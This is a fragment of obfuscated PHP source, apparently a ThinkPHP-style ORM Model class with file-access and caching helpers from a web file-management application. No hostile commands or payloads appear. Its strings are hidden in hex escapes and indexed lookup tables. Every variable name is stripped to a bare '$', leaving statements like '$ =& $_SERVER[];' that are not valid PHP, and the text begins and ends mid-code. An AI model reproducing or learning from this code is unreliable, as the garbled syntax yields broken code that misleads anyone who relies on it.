0 && $[$[1539]], $[1416] => !1); return $; } private function header($) { $ =& $_SERVER[]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $ = isset($GLOBALS[$[1540]]) ? $GLOBALS[$[1540]] : !1; $GLOBALS[$[1540]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$[1540]] = $; return self::$_cacheHeader[$]; } public function hashSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[218]]) { return !1; } $ = $[$[78]]; $ = 200; $ = 50; if ($ <= $ * $) { return md5($this->fileSubstr($, 0, $)) . $; } $ = intval($ / $); $ = $[12]; $ = timeFloat(); $ = 15; for ($ = 0; $ < $; $++) { if (timeFloat() - $ > $) { return !1; } $ = $this->fileSubstr($, $ * $, $); if (!$) { return !1; } $ .= $; } $ .= $this->fileSubstr($, $ - $, $); return md5($) . $; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($, $ = 0, $ = -1) { $ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[218]] && $[$[78]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $[$[78]]; } if ($ == 0) { return $[12]; } $ = array($[1541] . $ . $[827] . ($ + $ - 1)); $ = url_request($, $[247], !1, $, !1, !1, 30); return $[$[1253]] ? $[$[1253]] : $[12]; } public function download($, $) { Downloader::start($, $); return $; } } goto a; C: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\141\x62\154\145", "\157\x72\144\145\162", "\x61\154\151\x61\x73", "\150\141\166\x69\156\147", "\147\162\x6f\x75\160", "\154\157\x63\x6b", "\x64\x69\x73\164\x69\x6e\x63\x74", "\141\165\x74\x6f", "\x66\151\x6c\164\x65\162", "\x76\141\x6c\x69\144\x61\x74\145", "\162\145\163\165\x6c\x74", "\142\151\156\x64", "\x74\x6f\153\x65\156"); public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; $this->_initialize(); if (!empty($)) { if (strpos($, $[10])) { list($this->dbName, $this->name) = explode($[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[290]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[291])) { $ = $this->dbName ? $this->dbName : think_config($[292]); $ = think_var_cache($[293] . strtolower(get_path_this($) . $[10] . $this->name)); if ($) { $ = think_config($[294]); if (empty($) || $[$[295]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$[296]] = !1; foreach ($ as $ => $) { $[$] = $[$[33]]; if ($[$[39]]) { $this->fields[$[297]] = $; if ($[$[42]]) { $this->fields[$[296]] = !0; } } } $this->fields[$[298]] = $; if (think_config($[294])) { $this->fields[$[295]] = think_config($[294]); } if (think_config($[291])) { $ = $this->dbName ? $this->dbName : think_config($[292]); think_var_cache($[293] . strtolower(get_path_this($) . $[10] . $this->name), $this->fields); } } public function switchModel($, $ = array()) { $ =& $_SERVER[]; $ = ucwords(strtolower($)) . $[299]; if (!class_exists($)) { think_exception($ . think_lang($[300])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($, $) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $[0]; return $this; } elseif (in_array(strtolower($), array($[301], $[302], $[303], $[304], $[305]), !0)) { $ = isset($[0]) ? $[0] : $[205]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $[306] . $ . $[307] . $, $[301]); } elseif (strtolower(substr($, 0, 5)) == $[308]) { $ = think_parse_name(substr($, 5)); $[$] = $[0]; return $this->where($)->find(); } elseif (strtolower(substr($, 0, 10)) == $[309]) { $ = think_parse_name(substr($, 10)); $[$] = $[0]; return $this->where($)->getField($[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_unshift($, $); return call_user_func_array(array($this, $[310]), $); } else { return call_user_func_array(array(parent, $), $); } } protected function call() { $ =& $_SERVER[]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception(__CLASS__ . $[4] . $ . think_lang($[311])); return; } $[] = $; if (method_exists($this, $[312])) { $ = call_user_func_array(array($this, $[313]), array($, $)); if (!is_null($) && $ !== !1) { return $; } } $ = call_user_func_array(array($this, $), $); if (method_exists($this, $[314])) { $ = call_user_func_array(array($this, $[315]), array($, $, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected function _facade($) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $ => $) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($)) { $this->_parseType($, $); } } } if (!empty($this->options[$[316]])) { $ = array_map($this->options[$[316]], $); unset($this->options[$[316]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][317]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ = $this->db->insert($, $, $); if (!1 !== $) { $ = $this->getLastInsID(); if ($) { $[$this->getPk()] = $; $this->_after_insert($, $); return $; } $this->_after_insert($, $); } return $; } protected function _beforeInsert(&$, $) { } protected function _after_insert($, $) { } public function addAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (empty($)) { $this->error = think_lang($[317]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); } if (method_exists($this->db, $[318])) { $ = $this->db->insertAll($, $, $); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function selectAdd($ = '', $ = '', $ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($ ? $ : $[$[319]], $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($[320]); return !1; } else { return $; } } public function save($ = '', $ = array()) { $ =& $_SERVER[]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($[317]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$[321]])) { if (isset($[$])) { $[$] = $[$]; $[$[321]] = $; unset($[$]); } else { $this->error = think_lang($[320]); return !1; } } if (is_array($[$[321]]) && isset($[$[321]][$])) { $ = $[$[321]][$]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $ = $this->db->update($, $); if (!1 !== $) { if (isset($)) { $[$] = $; } $this->_afterUpdate($, $); } return $; } protected function _beforeUpdate(&$, $) { } protected function _afterUpdate($, $) { } public function delete($ = array()) { $ =& $_SERVER[]; if (empty($) && empty($this->options[$[321]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $[$] = array($[322], $); } else { $[$] = $; } $this->options[$[321]] = $; } $ = $this->_parseOptions(); if (is_array($[$[321]]) && isset($[$[321]][$])) { $ = $[$[321]][$]; } $ = $this->db->delete($); if (!1 !== $) { $ = array(); if (isset($)) { $[$] = $; } $this->_after_delete($, $); } return $; } protected function _after_delete($, $) { } public function select($ = array()) { $ =& $_SERVER[]; if (is_string($) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $[50])) { $[$] = array($[322], $); } else { $[$] = $; } $this->options[$[321]] = $; } elseif (!1 === $) { $ = $this->_parseOptions(); return $[323] . $this->db->buildSelectSql($) . $[324]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$, $) { } public function buildSql($ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); return $[323] . $this->db->buildSelectSql($) . $[324]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ = array()) { $ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$[325]])) { $[$[325]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$[326]])) { $[$[325]] .= $[53] . $[$[326]]; } $[$[327]] = $this->name; if (isset($[$[321]]) && is_array($[$[321]]) && !empty($) && !isset($[$[328]]) && !isset($[$[325]])) { foreach ($[$[321]] as $ => $) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($)) { $this->_parseType($[$[321]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos($, $[10]) && !1 === strpos($, $[306]) && !1 === strpos($, $[329]) && !1 === strpos($, $[330])) { unset($[$[321]][$]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$) { } protected function _parseType(&$, $) { $ =& $_SERVER[]; if (empty($this->options[$[331]][$[4] . $])) { $ = strtolower($this->fields[$[298]][$]); if (!1 !== strpos($, $[332])) { } elseif (!1 === strpos($, $[333]) && !1 !== strpos($, $[334])) { $[$] = intval($[$]); } elseif (!1 !== strpos($, $[335]) || !1 !== strpos($, $[336])) { $[$] = floatval($[$]); } elseif (!1 !== strpos($, $[337])) { $[$] = (bool) $[$]; } } } public function find($ = array()) { $ =& $_SERVER[]; if (is_numeric($) || is_string($)) { $[$this->getPk()] = intval($); $this->options[$[321]] = $; } $this->options[$[338]] = 1; $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$[339]])) { return $this->returnResult($this->data, $this->options[$[339]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $ = '') { $ =& $_SERVER[]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { case $[340]: return json_encode($); case $[341]: return xml_encode($); } } return $; } public function parseFieldsMap($, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ == 1) { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } } } return $; } public function setField($, $ = '') { if (is_array($)) { $ = $; } else { $[$] = $; } return $this->save($); } public function setAdd($, $ = 1) { $ =& $_SERVER[]; $ = $ . $[342] . $; if ($ < 0) { $ = $ . $; } return $this->setField($, array($[343], $)); } public function getField($, $ = null) { $ =& $_SERVER[]; $[$[319]] = $; $ = $this->_parseOptions($); $ = trim($); if (strpos($, $[50])) { if (!isset($[$[338]])) { $[$[338]] = is_numeric($) ? $ : $[12]; } $ = $this->db->select($); if (!empty($)) { $ = explode($[50], $); $ = array_keys($[0]); $ = array_shift($); $ = array_shift($); $ = array(); $ = count($); foreach ($ as $) { $ = $[$]; if (2 == $) { $[$] = $[$]; } else { $[$] = is_string($) ? implode($, $) : $; } } return $; } } else { if (!0 !== $) { $[$[338]] = is_numeric($) ? $ : 1; } if ($ === $[301]) { unset($[$[338]]); } $ = $this->db->select($); if (!empty($)) { if ($ === $[301]) { return reset($[0]); } if (!0 !== $ && 1 == $[$[338]]) { return reset($[0]); } foreach ($ as $) { $[] = $[$]; } return $; } } return null; } public function create($ = '', $ = '') { $ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($[317]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[319]])) { $ = $this->options[$[319]]; unset($this->options[$[319]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($[50], $); } if (think_config($[344])) { $[] = think_config($[345]); } foreach ($ as $ => $) { if (!in_array($, $)) { unset($[$]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($[346]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ => $) { if (!in_array($, $)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $[$] = stripslashes($); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($) { $ =& $_SERVER[]; if (isset($this->options[$[347]]) && !$this->options[$[347]]) { return !0; } if (think_config($[344])) { $ = think_config($[345]); if (!isset($[$]) || Session::get($)) { return !1; } list($, $) = explode($[11], $[$]); if ($ && Session::get($ . $[10] . $) === $) { Session::remove($ . $[10] . $); return !0; } if (think_config($[348])) { Session::remove($ . $[10] . $); } return !1; } return !0; } public function regex($, $) { $ =& $_SERVER[]; $ = array($[349] => $[350], $[351] => $[352], $[353] => $[354], $[355] => $[356], $[357] => $[358], $[359] => $[360], $[361] => $[362], $[336] => $[363], $[364] => $[365]); if (isset($[strtolower($)])) { $ = $[strtolower($)]; } return preg_match($, $) === 1; } private function autoOperation(&$, $) { $ =& $_SERVER[]; if (!empty($this->options[$[366]])) { $ = $this->options[$[366]]; unset($this->options[$[366]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[367]: case $[368]: $ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($, $[$[0]]); } if ($[367] == $[3]) { $[$[0]] = call_user_func_array($[1], $); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; case $[319]: $[$[0]] = $[$[1]]; break; case $[369]: if ($[12] === $[$[0]]) { unset($[$[0]]); } break; case $[370]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($, $) { $ =& $_SERVER[]; if (!empty($this->options[$[371]])) { $ = $this->options[$[371]]; unset($this->options[$[371]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $[372]) && strpos($[2], $[373])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $[374]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } break; default: if (isset($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $) { if (!1 === $this->_validationFieldItem($, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $[367]: case $[368]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } array_unshift($, $); } else { array_unshift($, $[$[0]]); } if ($[367] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $[375]: return $[$[0]] == $[$[1]]; case $[376]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $ = array(); if (is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } } else { $[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $[$this->getPk()] = array($[377], $[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($, $, $ = "\162\145\147\145\170") { $ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $[7]: case $[378]: $ = is_array($) ? $ : explode($[50], $); return $ == $[7] ? in_array($, $) : !in_array($, $); case $[379]: case $[380]: if (is_array($)) { $ = $[0]; $ = $[1]; } else { list($, $) = explode($[50], $); } return $ == $[379] ? $ >= $ && $ <= $ : $ < $ || $ > $; case $[381]: case $[382]: return $ == $[381] ? $ == $ : $ != $; case $[383]: $ = mb_strlen($, $[384]); if (strpos($, $[50])) { list($, $) = explode($[50], $); return $ >= $ && $ <= $; } else { return $ == $; } case $[385]: list($, $) = explode($[50], $); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ && NOW_TIME <= $; case $[386]: return in_array(get_client_ip(), explode($[50], $)); case $[387]: return !in_array(get_client_ip(), explode($[50], $)); case $[374]: default: return $this->regex($, $); } } public function query($, $ = false) { $ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = str_replace(array($[248], $[388]), $[53], $); $ = $this->parseSql($, $); return $this->db->query($); } public function execute($, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = $this->parseSql($, $); return $this->db->execute($); } protected function parseSql($, $) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->_parseOptions(); $ = $this->db->parseSql($, $); } elseif (is_array($)) { $ = array_map(array($this->db, $[389]), $); $ = vsprintf($, $); } else { $ = strtr($, array($[390] => $this->getTableName(), $[391] => think_config($[290]))); } $this->db->setModel($this->name); return $; } public function db($ = '', $ = '', $ = array()) { $ =& $_SERVER[]; if ($[12] === $ && $this->db) { return $this->db; } static $ = array(); static $ = array(); if (!isset($[$]) || isset($[$]) && $ && $[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($); } $ = think_guid($); $[$] = Db::getInstance($); } elseif (NULL === $) { $[$]->close(); unset($[$]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $) { $this->setProperty($, $); } } $[$] = $; $this->db = $[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[][392]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[]; return isset($this->fields[$[297]]) ? $this->fields[$[297]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[]; if (isset($this->options[$[325]])) { $ = $this->db->getFields($this->options[$[325]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$[296]], $[$[297]], $[$[298]], $[$[295]]); return $; } return !1; } public function data($ = '') { $ =& $_SERVER[]; if ($[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[317])); } $this->data = $; return $this; } public function join($) { $ =& $_SERVER[]; if (is_array($)) { $this->options[$[328]] = $; } elseif (!empty($)) { $this->options[$[328]][] = $; } return $this; } public function union($, $ = false) { $ =& $_SERVER[]; if (empty($)) { return $this; } if ($) { $this->options[$[393]][$[394]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$[393]] = array_merge($this->options[$[393]], $); return $this; } else { $ = $; } } else { think_exception(think_lang($[317])); } $this->options[$[393]][] = $; return $this; } public function cache($ = true, $ = null, $ = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[395]] = array($[96] => $, $[385] => $, $[33] => $); } return $this; } public function field($, $ = false) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->getDbFields(); $ = $ ? $ : $[205]; } elseif ($) { if (is_string($)) { $ = explode($[50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$[319]] = $; return $this; } public function scope($ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $) { if (isset($this->_scope[$[37]])) { $ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $ = explode($[50], $); $ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($, $this->_scope[$]); } if (!empty($) && is_array($)) { $ = array_merge($, $); } } elseif (is_array($)) { $ = $; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($, $ = null) { $ =& $_SERVER[]; if (!is_null($) && is_string($)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[389]), $); $ = vsprintf($, $); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ => $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $[396]) === 0) { continue; } think_trace($[397], $[12], $[49]); die; } } } if (is_string($) && $[12] != $) { $ = array(); $[$[398]] = $; $ = $; } if (isset($this->options[$[321]])) { $this->options[$[321]] = array_merge($this->options[$[321]], $); } else { $this->options[$[321]] = $; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[]; $this->options[$[338]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($, $ = null) { $ =& $_SERVER[]; $this->options[$[399]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function comment($) { $this->options[$_SERVER[][400]] = $; return $this; } public function setProperty($, $) { if (property_exists($this, $)) { $this->{$} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\x6f\x64\x69\146\171\x54\x69\155\145", "\x74\151\155\x65", "\151\x6e\163\145\162\164\54\165\x70\x64\x61\x74\145", "\x66\165\x6e\x63\x74\x69\157\x6e"), array("\143\162\145\141\164\145\124\151\x6d\x65", "\x74\x69\155\x65", "\151\x6e\163\x65\162\x74", "\146\165\156\x63\164\x69\157\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $ = '', $ = '') { parent::__construct($, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[401])) { return; } $this->dataBeforeFilter($, $[401]); } protected function _beforeUpdate(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[402])) { return; } $this->dataBeforeFilter($, $[402]); } protected function _afterSelect(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][403])) { return; } foreach ($ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][403])) { return; } $this->dataAfterFilter($); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[][404], function ($) { return addslashes($[0]); }, $); return json_decode($); } public static function textDecode($) { $ =& $_SERVER[]; $ = json_encode($); $ = preg_replace_callback($[405], function ($) { return $_SERVER[][99]; }, $); return json_decode($); } public function setAutoIncrement($) { $ = array($this->getPk() => $); $ = $this->data($)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ = $this->getTableName(); $ = $this->max($this->getPk()); $ = $this->query("\163\x68\x6f\167\40\x74\x61\142\x6c\145\x20\163\x74\141\164\x75\x73\x20\x77\x68\x65\x72\x65\40\116\141\155\145\x3d\47{$}\x27"); $ = $[0][$_SERVER[][406]]; $ = max($, $); return $; } protected function _callBefore($, $) { return $this->cacheCallCheck($, $, !1); } protected function _callAfter($, $) { return $this->cacheCallCheck($, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $, $ = false) { $ = $this->cacheFunctionAlias($); if (!$) { return; } foreach ($ as $ => $) { $ = $[0]; $ = explode($_SERVER[][50], $[1]); if ($ == $) { return $this->cacheFunctionGet($, $); } if ($ && in_array($, $)) { $this->cacheFunctionClear($, $); } } } public function cacheFunctionGet($, $) { $ = $this->cacheKeyMake($, $); $ = Cache::get($); if (!is_array($)) { $ = call_user_func_array(array($this, $), array($, !0)); Cache::set($, $); } return $; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $); Cache::remove($); } } private function cacheKeyMake($, $) { $ =& $_SERVER[]; return get_class($this) . $[11] . $ . $[407] . $; } protected function selectPageReset() { $ =& $_SERVER[]; if (isset($GLOBALS[$[408]])) { return; } $GLOBALS[$[408]] = isset($GLOBALS[$[7]][$[409]]) ? $GLOBALS[$[7]][$[409]] : !1; $GLOBALS[$[410]] = isset($GLOBALS[$[7]][$[399]]) ? $GLOBALS[$[7]][$[399]] : !1; $GLOBALS[$[7]][$[409]] = !1; $GLOBALS[$[7]][$[399]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[408]])) { return; } $GLOBALS[$[7]][$[409]] = $GLOBALS[$[408]]; $GLOBALS[$[7]][$[399]] = $GLOBALS[$[410]]; if ($GLOBALS[$[7]][$[409]] === !1) { unset($GLOBALS[$[7]][$[409]]); } if ($GLOBALS[$[7]][$[399]] === !1) { unset($GLOBALS[$[7]][$[399]]); } unset($GLOBALS[$[408]]); unset($GLOBALS[$[410]]); } protected function selectPage($ = 200, $ = 1) { $ =& $_SERVER[]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$[409]]) && $in[$[409]] ? $in[$[409]] : $; if ($ === -1) { $in[$[409]] = !1; $ = 100000000; $ = $; } $ = $; $[$[411]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $ = intval(isset($in[$[399]]) && $in[$[399]] ? $in[$[399]] : $); $ = $ <= 1 ? 1 : $; $ = array(); $ = 1; if ($ == 1 && $) { $this->optionsValue($); $ = $this->page($, $)->select(); $ = is_array($) ? count($) : 0; if ($ < $) { $ = 1; } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); } } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); $ = $ >= $ ? $ : $; $this->optionsValue($); $ = $this->page($, $)->select(); } if (!is_array($)) { $ = array(); } if ($ == 1) { $ = count($); } $ = array($[412] => array($[413] => $, $[409] => $, $[399] => $, $[414] => $), $[415] => $); return $; } protected function checkLength($, $ = 0, $ = '') { $ =& $_SERVER[]; $ = $ ? $ : 65536; if (!$ || strlen($) < $) { return; } $ = $ ? $ . $[73] : $[12]; show_json($ . LNG($[416]) . "\50{$}\x29", !1); } protected function metaSet($, $ = null, $ = null) { $ =& $_SERVER[]; if (!$this->tableMeta || !$) { return !1; } $ = $this->tableMeta[$[417]]; $ = $this->tableMeta[$[418]]; $ = Model($); $ = array($ => $, $[419] => $); if (is_null($)) { return $->where(array($ => $))->delete(); } if (is_null($) && is_string($)) { return $->where($)->delete(); } $ = is_array($) ? $ : array(); if (is_string($)) { $[$] = $; } $ = array(); foreach ($ as $ => $) { if (is_null($) && is_string($)) { $->where(array($ => $, $[419] => $))->delete(); continue; } $this->checkLength($, !1, $ . $[4] . $); $[] = array($ => $, $[96] => $, $[420] => $); } $ = $[421] . $; CacheLock::lock($); $->where(array($ => $))->addAll($, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($, $ = false) { $ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$[417]]; $ = Model($this->tableMeta[$[418]]); if ($) { $ = array($ => $, $[96] => $); return $->where($)->getField($[420]); } $ = array($ => $); $ = $->field($[422])->where($)->select(); $ = array_to_keyvalue($, $[96], $[420]); return $; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $) { $ =& $_SERVER[]; if (!is_array($)) { return; } foreach ($this->dataAuto as $) { $ = $[0]; if 